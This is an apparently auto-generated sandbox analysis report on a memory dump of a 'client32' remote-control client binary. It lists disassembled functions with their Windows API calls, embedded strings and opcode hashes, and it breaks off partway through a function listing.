Client, xrefs: 1102959F
Stop resuming, xrefs: 11029617

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: APMSUSPEND, suspended=%u, suspending=%u, resuming=%u$Client$DisableStandby$IgnorePowerResume$Stop resuming$_debug
API String ID: 536389180-1339850372
Opcode ID: b0d48e285380544e5a04f23f59acccb283078a85027adb73250184a2610d4c83
Instruction ID: 7a2480a0f38ec62df9d6165c4879ba51ca1346fdc5c877313ede350298642e4b
Opcode Fuzzy Hash: b0d48e285380544e5a04f23f59acccb283078a85027adb73250184a2610d4c83
Instruction Fuzzy Hash: 8541CD75E022359BE712CFE1D981BA9F7E4FB44348F10056AE83597284FB30E680CBA1

Function 110042C0 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 11001F80: FindWindowA.USER32(Progman,00000000), ref: 11001FA9
Part of subcall function 11001F80: GetWindowThreadProcessId.USER32(00000000,?), ref: 11001FB7
Part of subcall function 11001F80: OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 11001FCB
Part of subcall function 11001F80: GetVersionExA.KERNEL32(?), ref: 11001FE4
Part of subcall function 11001F80: OpenProcessToken.ADVAPI32(00000000,0002000B,00000000), ref: 11002000
Part of subcall function 11001F80: ImpersonateLoggedOnUser.ADVAPI32(00000000), ref: 11002011
Part of subcall function 11001F80: CloseHandle.KERNEL32(00000000), ref: 11002028
Part of subcall function 11001F80: CloseHandle.KERNEL32(00000000), ref: 1100202F

_memset.LIBCMT ref: 11004313

Part of subcall function 111457A0: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11195AD8), ref: 1114580D
Part of subcall function 111457A0: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1111025B), ref: 1114584E
Part of subcall function 111457A0: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 111458AB

EnableWindow.USER32(00000000,00000000), ref: 110043C6
GetSaveFileNameA.COMDLG32(00000058), ref: 110043CF
EnableWindow.USER32(00000000,00000001), ref: 11004453
RevertToSelf.ADVAPI32 ref: 11004455

Strings

BMP, xrefs: 11004397
X, xrefs: 1100431B
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110043A8, 1100443B
m_hWnd, xrefs: 110043AD, 11004440

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Process$CloseEnableFileFolderHandleNameOpenPath$FindImpersonateLoggedModuleRevertSaveSelfThreadTokenUserVersion_memset
String ID: BMP$X$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 3949878547-2539113696
Opcode ID: ce1c97cf7a7aa21e6251f802e3d21045b55600e3d1615c3dd84d8967101525df
Instruction ID: 1a06fff4f71d161ae854b0cf7e53d0be396d8369705791c075994b803ddd0564
Opcode Fuzzy Hash: ce1c97cf7a7aa21e6251f802e3d21045b55600e3d1615c3dd84d8967101525df
Instruction Fuzzy Hash: E441B3B4E003199BEB21DF60CC41FDAB7F4EB08748F0145A9E519AB280DBB5AA44CF54

Function 1103D2B0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 113filewindowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(NSMW16Class,00000000), ref: 1103D2E4
SendMessageA.USER32(00000000,0000004A,00040270,?), ref: 1103D313
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 1103D353
CloseHandle.KERNEL32(?), ref: 1103D364

Strings

NSMW16Class, xrefs: 1103D2DF
CLTCONN.CPP, xrefs: 1103D3BF

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseFileFindHandleMessageSendWindowWrite
String ID: CLTCONN.CPP$NSMW16Class
API String ID: 4104200039-3790257117
Opcode ID: 7bae25e5ec6ac12795ee0301b5ed4f221613fcdb06e7094a7561e2cb570cb440
Instruction ID: 7413f3f2c5586e26beac36a23cabaf74cb1d99cfb277255675335e3274ed5d18
Opcode Fuzzy Hash: 7bae25e5ec6ac12795ee0301b5ed4f221613fcdb06e7094a7561e2cb570cb440
Instruction Fuzzy Hash: AC418E75A0020AAFE715CFA0D884BDEF7ACBB84719F008659F85997240DB74BA54CB91

Function 1113F0E0 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 111windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000003,?,?,?,00000000,00000000), ref: 1113F116
MessageBeep.USER32(00000000), ref: 1113F1C9
InvalidateRect.USER32(?,00000000,00000001,?,?,?,00000000,00000000), ref: 1113F1F4
UpdateWindow.USER32(?), ref: 1113F21B

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

NSMStatsWindow Add value %d, xrefs: 1113F199
NSMStatsWindow Read %d and %d (previous %d), xrefs: 1113F153
NSMStatsWindow::OnTimer, xrefs: 1113F11C
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1113F0F4, 1113F1DA, 1113F205
m_hWnd, xrefs: 1113F0F9, 1113F1DF, 1113F20A

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessageWindow$BeepErrorExitInvalidateLastProcessRectUpdatewsprintf
String ID: NSMStatsWindow Read %d and %d (previous %d)$NSMStatsWindow Add value %d$NSMStatsWindow::OnTimer$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 490496107-2775872530
Opcode ID: d9e39ef12bae1f0dabfce1c2349acdb44f901fd7f2055dc060b1669aa1c7fefe
Instruction ID: d3d90aad3bca8c51e092343d299df36488d3ee70d707c240b8c59d5b32e4b979
Opcode Fuzzy Hash: d9e39ef12bae1f0dabfce1c2349acdb44f901fd7f2055dc060b1669aa1c7fefe
Instruction Fuzzy Hash: 1D3114B9A5031ABFD710CB91CC81FAAF3B8AB84718F104529F566A76C4DA70B900CB52

Function 11140380 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 74registryCOMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(11000000,NSMStatsWindow,?), ref: 11140399
GetStockObject.GDI32(00000000), ref: 111403D2
LoadCursorA.USER32(00000000,00007F00), ref: 111403EA
RegisterClassA.USER32(?), ref: 111403FE

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

GlobalAddAtomA.KERNEL32(NSMStatsWindow), ref: 11140425
CreateWindowExA.USER32(00000088,NSMStatsWindow,Stats,80C80000,00000000,00000000,00000000,00000000,00000000,00000000,11000000,00000000), ref: 1114045F

Strings

NSMStatsWindow, xrefs: 11140393, 111403F7, 11140420, 11140455
Stats, xrefs: 11140450
UI.CPP, xrefs: 1114040E

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Class$AtomCreateCursorErrorExitGlobalInfoLastLoadMessageObjectProcessRegisterStockWindowwsprintf
String ID: NSMStatsWindow$Stats$UI.CPP
API String ID: 2264362397-3221558550
Opcode ID: 4eb6c5bb774bbad3e3a68f4fb1ddf214a4a8ecc8339067d6f45288208c44a247
Instruction ID: bebd7d2a7b3372845581ea12ef928e6e0fe2e2f0ea6b207ad6945ed1a953ef7c
Opcode Fuzzy Hash: 4eb6c5bb774bbad3e3a68f4fb1ddf214a4a8ecc8339067d6f45288208c44a247
Instruction Fuzzy Hash: 5B210CB5E0221AAFC744DFE59984BEEFBF8BB08304F10412AE529F2644E7305600CB99

Function 11128060 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 41libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,?,11128B9C,?,?,111291FC,AB86ACF8,?,?,?,00000000,1118BADE,000000FF,?,?), ref: 1112806B
GetProcAddress.KERNEL32(00000000,CancelIo), ref: 1112807B
SetLastError.KERNEL32(0000007F,?,111CD988), ref: 111280A7
SetLastError.KERNEL32(0000007E,?,111CD988), ref: 111280CB

Strings

!"CancelIo NOT FOUND in kernel32.dll!", xrefs: 11128098
kernel32.dll, xrefs: 11128064
CancelIo, xrefs: 11128075
!"kernel32.dll NOT FOUND!", xrefs: 111280BC
..\nt\vsmartcrd\public\SmartcardDevice.cpp, xrefs: 11128093, 111280B7

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$AddressHandleModuleProc
String ID: !"CancelIo NOT FOUND in kernel32.dll!"$!"kernel32.dll NOT FOUND!"$..\nt\vsmartcrd\public\SmartcardDevice.cpp$CancelIo$kernel32.dll
API String ID: 1762409328-2662562804
Opcode ID: acfe7ee854dc3e558664093ce5ef8a73ca71c36a9a436bf1fa4c2d7b7436c370
Instruction ID: cda793e3d14a74608214cb0dea4bb6fde32d3a192c59d564bbd0a57c488a8cc7
Opcode Fuzzy Hash: acfe7ee854dc3e558664093ce5ef8a73ca71c36a9a436bf1fa4c2d7b7436c370
Instruction Fuzzy Hash: 12F0E97578023C77EE2066F67E06FD9FB599B01A9AF400031FA2EE1981E9619400C3D9

Function 110351C0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 110351E0

Part of subcall function 11161299: std::exception::exception.LIBCMT ref: 111612AE
Part of subcall function 11161299: __CxxThrowException@8.LIBCMT ref: 111612C3
Part of subcall function 11161299: std::exception::exception.LIBCMT ref: 111612D4

_memmove.LIBCMT ref: 11035267
_memmove.LIBCMT ref: 1103528B
_memmove.LIBCMT ref: 110352C5
_memmove.LIBCMT ref: 110352E1
std::exception::exception.LIBCMT ref: 1103532B
__CxxThrowException@8.LIBCMT ref: 11035340

Strings

deque<T> too long, xrefs: 110351DB

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memmove$std::exception::exception$Exception@8Throw$Xinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 827257264-309773918
Opcode ID: 9fd23bf6dac31a49ae45c6df2bf8e53b139aa7f77a234edd96a6a4a66ff4c3c5
Instruction ID: 821c9d64e9829e99cd7e27c5d42d77d1d91c6fa62e2a3a65c26b72f4499baf16
Opcode Fuzzy Hash: 9fd23bf6dac31a49ae45c6df2bf8e53b139aa7f77a234edd96a6a4a66ff4c3c5
Instruction Fuzzy Hash: 714175B6E101059FDB04CEA8CC81AAEB7FAABD4215F19C569E809D7344EA75EA01C790

Function 11019350 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 11019370

Part of subcall function 11161299: std::exception::exception.LIBCMT ref: 111612AE
Part of subcall function 11161299: __CxxThrowException@8.LIBCMT ref: 111612C3
Part of subcall function 11161299: std::exception::exception.LIBCMT ref: 111612D4

_memmove.LIBCMT ref: 110193F7
_memmove.LIBCMT ref: 1101941B
_memmove.LIBCMT ref: 11019455
_memmove.LIBCMT ref: 11019471
std::exception::exception.LIBCMT ref: 110194BB
__CxxThrowException@8.LIBCMT ref: 110194D0

Strings

deque<T> too long, xrefs: 1101936B

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memmove$std::exception::exception$Exception@8Throw$Xinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 827257264-309773918
Opcode ID: bae61be491e2bb3249092c57a3b297af750743dd0981f067cd33e8b54ce2a0b4
Instruction ID: 6a0b8da8f8671f5151ad1a9c663becfdb7ffb53f3c5f022c538811db2e8c78d4
Opcode Fuzzy Hash: bae61be491e2bb3249092c57a3b297af750743dd0981f067cd33e8b54ce2a0b4
Instruction Fuzzy Hash: C54168B6E001159BDB04CE68CC81AAEF7F9AF94318F19C569D809DB349FA75EA01C790

Function 1113C3C0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 151windowtimeCOMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 1113C41F
IsWindow.USER32(00000000), ref: 1113C451
_malloc.LIBCMT ref: 1113C4B0
_memmove.LIBCMT ref: 1113C515
SendMessageTimeoutA.USER32(00000000,0000004A,00040270,00000003,00000002,00002710,?), ref: 1113C56F
_free.LIBCMT ref: 1113C576

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

Strings

IsA(), xrefs: 1113C49F, 1113C4D6, 1113C502, 1113C540
e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h, xrefs: 1113C49A, 1113C4D1, 1113C4FD, 1113C53B

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorFreeHeapLastMessageSendTimeoutWindow_free_malloc_memmove_strncpy
String ID: IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h
API String ID: 1602665774-2270926670
Opcode ID: e2abf284167a6e6cb6024ac74b78426798698c9d11ed7799c078f4a418bb9f00
Instruction ID: a2dd537b469b56fd0a393197ec2e6fa62d94d6918f16b8d23f7c7785d4e9094b
Opcode Fuzzy Hash: e2abf284167a6e6cb6024ac74b78426798698c9d11ed7799c078f4a418bb9f00
Instruction Fuzzy Hash: 5D51C134A0120AAFDB00DF94DD81FEEF7B9EF89718F104125F915A7284E771AA04CB91

Function 110D8180 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 147networkCOMMON

Download Yara Rule

APIs

Part of subcall function 110DEB60: EnterCriticalSection.KERNEL32(111EE0A4,11018BE8,AB86ACF8,?,?,?,111CD988,11187878,000000FF,?,1101ABB2), ref: 110DEB61

Part of subcall function 11010CD0: _memmove.LIBCMT ref: 11010D0D

shutdown.WSOCK32(?,00000002,00000000,00000000,00000000), ref: 110D81F9
closesocket.WSOCK32(?), ref: 110D8203
__CxxThrowException@8.LIBCMT ref: 110D8229
_memset.LIBCMT ref: 110D827C
gethostname.WSOCK32(?,00000200,0000005C,00000000,111EE030), ref: 110D8290
gethostbyname.WSOCK32(?), ref: 110D82C1
inet_ntoa.WSOCK32 ref: 110D82EC

Strings

127.0.0.1, xrefs: 110D82A7

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalEnterException@8SectionThrow_memmove_memsetclosesocketgethostbynamegethostnameinet_ntoashutdown
String ID: 127.0.0.1
API String ID: 3213037012-3619153832
Opcode ID: 0667ac5c8d136c85764237683a7513ac93f65a2d80e195fcd17a6dc8b2304ea0
Instruction ID: aa17ea021d3ed84f241b33fe3108128a88572c75fddb31a861601ff691f486d7
Opcode Fuzzy Hash: 0667ac5c8d136c85764237683a7513ac93f65a2d80e195fcd17a6dc8b2304ea0
Instruction Fuzzy Hash: C651B675D00758AFDB24CFA4C884B9EFBB8EB08714F00466DE45697680DB75AA48CF90

Function 11025320 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 128windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 11025351

Part of subcall function 11025000: SendMessageA.USER32(?,0000000E,00000000,00000000), ref: 11025036
Part of subcall function 11025000: SendMessageA.USER32(?,000000BA,00000000,00000000), ref: 11025049
Part of subcall function 11025000: SendMessageA.USER32(?,000000BB,-00000001,00000000), ref: 1102505A
